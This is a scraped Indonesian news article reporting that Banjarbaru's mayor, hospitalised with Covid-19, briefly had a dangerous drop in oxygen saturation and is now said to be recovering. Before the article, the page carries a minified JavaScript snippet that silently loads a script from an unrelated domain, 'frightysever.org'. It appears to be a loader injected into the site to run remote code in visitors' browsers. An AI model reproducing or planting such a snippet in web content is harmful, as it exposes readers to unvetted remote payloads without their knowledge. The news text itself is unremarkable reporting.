(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: HEADLINE

Sempat Drop karena Kadar Oksigen Turun, Kadinkes: Kondisi Wali Kota Membaik

KANALKALIMANTAN.COM, BANJARBARU – Menjalani perawatan setelah dinyatakan terpapar Covid-19, kondisi kesehatan Wali Kota Banjarbaru, Nadjmi Adhani dikabarkan sempat menurun pada Minggu (9/8/2020) siang.

Informasi ini beredar di sosial media menyebutkan bahwa orang nomor satu di kota Banjarbaru tersebut mengalami gejala sesak nafas. Bahkan, satu hari sebelumya, Nadjmi juga telah mengeluh karena pada bagian dadanya terasa sangat sakit.

Menurut keterangan dari pihak medis, saturasi oksigen Nadjmi turun hingga menyentuh angka 40 persen. Yang mana pada normalnya, saturasi oksigen seharusnya berada antara 95-100 persen.

Kondisi tersebut, membuat Nadjmi kabarnya harus menjalani operasi dan dipasangkan alat bantu untuk pernapasan ventilator.

Pada Minggu malam, Kepala Dinas Kesehatan (Dinkes) Banjarbaru, Rizana Mirza menyampaikan bahwa kondisi kesehatan Wali Kota Banjarbaru kini telah berangsur pulih. Ia menyebut ihwal saturasi oksigen telah mulai meningkat kembali.

“Benar, beliau sempat mengalami drop dan Alhamdulillah kini saturasi oksigen beliau sudah meningkat,” ujarnya, saat dihubungi Kanalkalimantan.com

Sementara itu, Wakil Wali Kota Banjarbaru, Darmawan Jaya Setiawan, meminta seluruh masyarakat untuk terus mendoakan kesembuhan Wali Kota Banjarbaru. “Alhamdulillah, kabar terbarunya oksigen beliau sudah meningkat sampai ke angka 70 persen. Saya meminta doanya agar kondisi pak Wali Kota terus membaik dan secepatnya pulih,” ucapnya. (kanalkalimantan.com/rico)

Reporter: Rico
Editor: Bie